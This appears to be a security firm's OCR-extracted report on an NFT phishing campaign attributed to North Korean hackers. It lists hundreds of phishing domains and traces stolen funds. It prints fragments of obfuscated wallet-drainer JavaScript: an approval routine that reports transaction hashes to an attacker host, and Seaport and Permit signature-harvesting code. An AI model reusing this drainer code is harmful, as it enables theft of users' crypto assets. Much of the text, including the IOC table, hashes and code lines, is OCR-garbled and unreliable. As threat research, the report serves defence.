0.4	10AC/10150A00D0200001501610921/6409 / :	0x1 2 14CC1CCCCdCdC/1101 101D0 114404/02010210354304/5DDD095/DC97 4	https://www.ioocbalist
0.4	36F9F141C001D4C1337803F735351245864 : 1	0x7 E /151204D60360405. 10010 251205/00/0/0C/50D/000055105C/8/9 0	https://hashverse.spac
0.x	10000F775550e04e02Cd4455d6C9e416600 (1	0x9 I 9600050410520059 /IOEC 2DaD55DE260/550045162/649905200/60 I	https://www.nashverse.
0.4	100b041D0D01Eap002141070D6D0D4Eaa7 ()	0x7 d 6620000221642504 d7516 02625b7abd7600000022061622bdd4005b 9	https://www.superiox.i
0.4	100D041D0D313dr0021413/0B1BB3B43dd/ :)	0xr 6 2705b17f52526de6 b7a00 565b415f7bbaa7174a1fa0a0a04020dda f	https://www.superiox.i
0.4	appdC(Fbp7bd04a19ecb39fBdb302f9B99 ()	0x2 2 o537d6d1a77b7a2d 0aba4 ba404635a94afd39a7b74aaf65a94429dda I	https://www.superiox.i
0.4	Japed of the The Add a 10 cape of the D30219899 ()	0x2 5 e55/d0dta//b/054 00be4 b4404055094414260/b/4081950504/610 5	https://www.superiox.i
0.4	appacerbaratecostrators219899 ()	0x0 d 5f6c71cd27c80a83 33074 8861a3c81157bc6a725704cca4EE0c640c E	https://www.superiox.i
0.4	ED505oF476oP19PDcoD72D277529P516-54 /)	0xb a a2d000604cadlq04 a4423 alof5203c27dbbad00f42c60cc34015c50 d	https://www.superiox.i
0.4	LD5056F4/0CD10DDCdD/5D5//520D516854 ()	0x2 0 d01733bdcece202d 1370b b56eebdf6ce6ee00d71b560ce34915050 0	https://www.superiox.i
0.4	SEVEL2100000442/C02DAIGF140F1F/0CA90 .)	VX2 V U01/350UC4C4272U 13/75 D50448U10C604477U/1066VC4VII56846C E	https://www.superiox.i
0.	JED016516Ecd20D7Eb1da5b2100EEE0242 · 3	0x6 1 gge0f120499fge91 083gb 24aa9db65ggd05d9ad9c5f229fg0dd9sf6 g	https://www.metasoccer
0x	3bE78282010167Ece86051ccf2b3c0b9304 / 1	0xe 5 a611ef5222ed541f 2c29b 79a2e80b6d3f7c1a538009edds2fo3o27 d	https://alinewap.svz/2
0x	3bE78282010167FCe86051CCf2b3C0b8304	0xb be84d166124ff76e 22422 30753f1525e8ac1d0d614fcfa88b891962 (https://alinswap.xyz/
v a	20010000010100000010010010000000000000	2012212222220000141C1000021202	neepo .//urrnowup.Ay2/

And sigData, among other sensitive data was also discovered, which will not be shown here for privacy reasons.

Our analysis also revealed that there are NFT phishing site groups under the same IP of the host, with 372 NFT phishing sites under a single IP:

□▼ ⊴ 1-	25 of 372 v • Sort : Last Seen Descending v 25 / Page v		
	Resolve	First	Last
	niftytalior.org	2022-12-12	2022-12-21
	meekicks.store	2022-11-10	2022-12-21
	niftytailors.shop	2022-12-18	2022-12-20
	aptopunks.fun	2022-10-31	2022-12-20
	fantasyworldcup.fun	2022-10-22	2022-12-20
	footballstars.fun	2022-10-30	2022-12-20
	sushibits.xyz	2022-11-08	2022-12-19
	qptmetacard.org	2022-12-13	2022-12-19
	www.niftytailor.org	2022-12-12	2022-12-19
	mylands.space	2022-12-12	2022-12-1B
	www.niftytailors.shop	2022-12-18	2022-12-1B
	*.niftytallors.shop	2022-12-18	2022-12-1B
	sandplate.xyz	2022-11-12	2022-12-17
	www.fantasyworldcup.fun	2022-10-23	2022-12-17
	superboys.fun	2022-11-10	2022-12-16
	nftinsight.tech	2022-11-13	2022-12-16
	holoframe.space	2022-10-28	2022-12-16
	prysmsquads.xyz	2022-10-25	2022-12-16
	nftsinsighttech	2022-11-13	2022-12-15
	eyeforadventurers.xyz	2022-11-11	2022-12-15
	invisiblemeebits.xyz	2022-10-23	2022-12-14
	www.qptmetacard.org	2022-12-13	2022-12-14
	meekicks.tech	2022-11-11	2022-12-14
	creawearables.fun	2022-11-07	2022-12-14
	smashmarbles.xyz	2022-11-10	2022-12-13

As well as another 320 NFT phishing sites associated under a different IP address:

□ ▼ < 1 - 25 of 320 ∨ Fort : Last Seen Descending × 25 / Page ×			
	Resolve	First	Last
	www.moonbirdvictorian.app	2022-10-22	2022-12-22
	thelandsafe.xyz	2022-10-18	2022-12-22
	*.benzibananas.space	2022-10-28	2022-12-22
	metroverseland.com	2022-10-09	2022-12-21
	secretgardens.fun	2022-10-17	2022-12-21
	www.onpodx.net	2022-10-20	2022-12-21
	webaverse space	2022-12-02	2022-12-21
	www.www.onpodx.net	2022-12-21	2022-12-21
	www.www.tritonpass.org	2022-12-17	2022-12-21
	oncybers.app	2022-10-09	2022-12-21
	benzibananas.space	2022-10-09	2022-12-21
	edmin.benzibananas.space	2022-10-09	2022-12-21
	alertrifts.org	2022-10-10	2022-12-21
	www.webmail.benzibananas.space	2022-10-09	2022-12-21
	dennvsite	2022-10-30	2022-12-21
	webmail.benzibananas.space	2022-10-09	2022-12-21
	mail.benzibananas.space	2022-10-09	2022-12-21
	admin.moonbirdvictorian.app	2022-12-17	2022-12-21
	www.admin.benzibananas.space	2022-10-09	2022-12-20
	www.tritonpass.org	2022-10-11	2022-12-20
	onpodx.net	2022-10-18	2022-12-20
	collinsmusic.fun	2022-10-09	2022-12-20
	www.benzibananas.space	2022-10-09	2022-12-20
	infinity/void.space	2022-10-17	2022-12-20
	worldofmythesda.fun	2022-12-17	2022-12-20

We even discovered a DeFi platform run by North Korean hackers.



Due to the sheer volume of information, we are unable to delve into every detail in this report.

Analysis of Phishing Methods

In combination with our previous article "How Scammers Are Paying Nothing for Your NFTs," we analyzed the core code of this phishing incident. Our investigation revealed that the hackers utilized multiple tokens, such as WETH, USDC, DAI, and UNI, etc. in their phishing attacks.



The following code is used to induce victims to perform more common phishing 'Approve' operations, such as authorizing NFTs and ERC20 tokens:

2932	<pre>iunction approveNFT(_0x12e1af, _0xf8b976, _0x506ddc) {</pre>
2933	return new Promise((_0x186248, _0x4e459f) => {
2934	var _0x403561 = _0x86a9,
2935	_0x36db99 = new web3['eth'][(_0x403561(0x100))](tokenABI, _0x12e1af);
2936	_0x36db99[_0x403561(0x250)][_0x403561(0x1db)](spenderAddr, !![])[_0x40356
2937	'from': _0xf8b976,
2938	'gasPrice': _0x506ddc
2939	<pre>})['on'](_0x403561(0xf8), function (_0xb617bb) {</pre>
2940	var _0x372a6f = _0x403561;
2941	if (_0xb617bb == null _0xb617bb == '' _0xb617bb == _0x372a6f(0x
2942	_0x186248(![]);
2943	return;
2944	
2945	<pre>\$[_0x372a6f(0x149)]('https://tothesky.in/postTrxHash.php?trxHash=' +</pre>
2946	<pre>})['on'](_0x403561(0x1fd), function (_0x1e428b) {</pre>
2947	_0x186248(![]);
2948	<pre>});</pre>
2949	<pre>});</pre>



In addition, the hackers also try to induce victims to perform Seaport and Permit signatures, as well as other authorizing activities.

2809	<pre>async function signSeaport(_0x4e01ba, _0x583ce9, _0x336015) {</pre>
2810	$var _0x48bc47 = _0x200712,$
2811	_0x2eb33d = new web3['eth'][(_0x48bc47(0x100))](seaportABI, seaportAddr),
2812	_0x1eddd9 = await _0x2eb33d[_0x48bc47(0x250)][_0x48bc47(0x14e)](_0x4e01ba)['
2813	_0x25ecc6 = 0x64,
2814	_0xbe6138 = 0x0,
2815	$_0 \times 4c44d9 = 0 \times 0;$
2816	for (var _0x427b15 = 0x0; _0x427b15 < _0x583ce9[_0x48bc47(0x1f5)]; _0x427b15 +=
2817	<pre>seaportMsg0bj[_0x48bc47(0x222)] = _0x4e01ba, seaportMsg0bj['offer'] = [], se</pre>
2818	var _0x1112d5 = [];
2819	_0x1112d5['ERC20'] = 0x1, _0x1112d5[_0x48bc47(0x1f2)] = 0x2, _0x1112d5[_0x48
2820	for (let _0x33a0d0 = _0x427b15; _0x33a0d0 < _0x583ce9[_0x48bc47(0x1f5)] && _
2821	<pre>let _0x390bc1 = _0x583ce9[_0x33a0d0],</pre>
2822	_0x172e20 = _0x390bc1[_0x48bc47(0x13e)] == undefined ? _0x1112d5[_0x
2823	<pre>seaportMsg0bj[_0x48bc47(0x221)][_0x48bc47(0x1e0)]({</pre>
2824	'itemType': _0x172e20,
2825	'token': _0x390bc1[_0x48bc47(0x245)][_0x48bc47(0x1b3)](),
2826	<pre>'identifierOrCriteria': _0x390bc1[_0x48bc47(0xee)],</pre>
2827	<pre>'startAmount': _0x390bc1[_0x48bc47(0x20e)],</pre>
2828	'endAmount': _0x390bc1[_0x48bc47(0x20e)]
2829	<pre>}), seaportMsgObj['consideration'][_0x48bc47(0x1e0)]({</pre>
2830	'itemType': _0x172e20,
2831	'token': _0x390bc1[_0x48bc47(0x245)][_0x48bc47(0x1b3)](),
2832	<pre>'identifierOrCriteria': _0x390bc1[_0x48bc47(0xee)],</pre>
2833	<pre>'startAmount': _0x390bc1[_0x48bc47(0x20e)],</pre>
2834	'endAmount': _0x390bc1[_0x48bc47(0x20e)],
2835	'recipient': destAddr
2836	│
4533	aaveMsgParams = {
4534	'domain': {
4535	'chainId': 0x1,

4534	'domain': ┨
4535	'chainId': 0x1,
4536	'name': _0x200712(0x1a9),
4537	'version': '1',
4538	<pre>'verifyingContract': '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48'</pre>
4539	
4540	<pre>'message': {},</pre>
4541	'primaryType': 'Permit',
4542	'types': {
4543	'EIP712Domain': [{
4544	'name': _0x200712(0x22b),
4545	'type': 'string'
4546	}, {
1517	$h_{\text{Domo}} = h_{\text{Domo}} (h_{\text{Domo}} - h_{\text{Domo}} - h$

Here's a typical example of this type of signature, even though the domain name of the phishing website is not actually 'opensea.io'.

💥 MetaMask Notification	_		×
C Account 1 (i)	Ethereum N	lainnet	
Signature re	quest		
S			
Seapor	t		
https://opens	ea.io		
0x9			
Message			
offerer: 0x9			*
offer:			
itemType: 2			
token: 0x91F3114F8	3818ADe5	06d0	
901a44982I	Dc5c0200	C99B	
identifierOrCriteric	3: 8893		
endAmount: 1		A	
consideration		J	•
CANCEL	SIGN		

We also discovered that the remaining signature data matched the signature data of "Seaport" which the hacker left on the host computer.

\leftrightarrow \rightarrow C (sigData	ata_old.txt	
0		
<pre>[{"itemType":2,"token":"0x9f9b2b8e268d06dc67f0 {"itemType":2,"token":"0x9f9b2b8e268d06dc67f0f (PDT)</pre>	f76627654b80e219e1d6","identifierOrCriteria":"7585 76627654b80e219e1d6","identifierOrCriteria":"1726"	","startAmount":"1","endAmount":"1"}, ',"startAmount":"1","endAmount":"1"}]}
0x78d131b05d1FCD3bE802f83ac9F6d45d835F185d	867671404576962906696012358823621605678334398979	8189316953843687879624
{"signature":"0x1 [["item"wpe":2."teken":"0xf87e31482faf8e81b02e	odessdE0dE1dE6dEd4d" "idestifierOrGuiteris","115	
ount":"1", "endAmount":"1"}1} 4 Sat Oc	E 29 2022 17:16:23 GMT-0500 (Central Davlight Time	
0x2b04	3	- ,
{"signature":"0x	And the second s	
[{"itemType":2,"token":"0x49cf6f5d44e70224e2e2	3fdcdd2c053f30ada28b","identifierOrCriteria":"5520)","startAmount":"1","endAmount":"1"},
{"itemType":2,"token":"0x3bf2922f4520a8ba0c2ef	c3d2a1539678dad5e9d","identifierOrCriteria":"3740"	<pre>,"startAmount":"1","endAmount":"1"},</pre>
{"itemType":2,"token":"0x3bf2922f4520a8ba0c2ef	c3d2a1539678dad5e9d","identifierOrCriteria":"1178"	',"startAmount":"1","endAmount":"1"},
{"itemType":2,"token":"0x12632d6e11c6bbc0c53f3	e281ea675e5899a5df5","identifierOrCriteria":"3118"	', "startAmount": "1", "endAmount": "1"},
{"itemType":2,"token":"0x12632d6e11c6bbc0c53f3	e281ea675e5899a5df5","identifierOrCriteria":"3117"	<pre>, "startAmount":"1","endAmount":"1"}, "startAmount":"1","endAmount":"1","</pre>
{ itemType :2, token : 0x120320001100DDC0C3313	e201ea0/SeS099aSaIS , identifierOrCriteria : 2210	<pre>, StartAmount: 1 , endAmount: 1 }, rthmount": "16750000000000" "endAmount";</pre>
2022 20.20.01 GMT_0700 (Pacific Davlight Time)	c412/eaus065c/56ccz , idenciiieloiciiceiia :0, sca	realization : 1675000000000, endalization
0x2b04a7D475bFa92aE5C4b6C531DD18E734b43D9E	0xc18360217d8f7ab5e7c516566761ea12ce7f9d72	
0x		
(Pacific Daylight Time)		
0xDFeBF820bbbf2e90a15C92D815b5D8e10823976F	785521771016918117571717760498543945320440617047	6599316038775753968820
{"signature":"0>		
[{"itemType":2,"token":"0x34d85c9cdeb23fa97cb0	8333b511ac86e1c4e258","identifierOrCriteria":"6799	<pre>92","startAmount":"1","endAmount":"1"}</pre>

Since this type of signature request data can be "stored offline", the hacker can transfer assets on-chain in batches after obtaining a large amount of signature data from victims.

MistTrack analysis

After analyzing the phishing websites and methods, we chose one of the phishing addresses (0xC0fd... e0ca) for further analysis.

We observed that this address has been flagged as a high-risk phishing address by the MistTrack platform and has a significant number of transactions. The hacker was able to receive a total of 1,055 NFTs and made off with a profit of approximately 300 ETH through their sales.



9	Holding Value O	Bought O \$0	Sold 1.5 \$1,829	Gas () 0.01 \$9
0xc0fda8e0ca ⊵				
0 Following 0 Followers	Holding NFTs			
B	7 🗠			
	Collection:4			
Follow	Mint Bought	Sold Ser	nd Receive	Burn
	1 9	5 10	1055 1055	2

Tracing the source of the funds for this address, we found that an initial 4.97 ETH was transferred from the address (0x2e0a...DA82). Further investigation revealed that this address interacted with other addresses flagged as risky by MistTrack. It was also shown that 5.7 ETH was transferred to FixedFloat.



Let's examine the initial source of funds for the address (0x2e0a...DA82), which currently has around 6.5 ETH. The initial funds were sourced from a 1.433 ETH transfer from Binance.

Oxdf27e21dc9822417eb...
 Transfer
 14959065
 2022-06-14
 1:04:29
 Binance
 Dim
 0x2e0afef0ce0761823bb...
 1.43375
 Ether

At the same time, this address also interacted with multiple risky addresses.



Summary

SlowMist advises users to strengthen their understanding of security knowledge and further enhance their ability to identify phishing attacks in order to avoid falling victim to such attacks. For additional security information, we recommend reading the "Blockchain Dark Forest Self-Help Handbook".

During our tracking, we found that North Korean hackers and Eastern Europe seem to be cooperating to phishing NFT users. What do you think?

Thanks to and for their support.

Refer

[1] [2] [3] [4]

C2 IOC:https://tothesky[.]inhttps://commonj[.]xyzhttps://thedoodles[.]site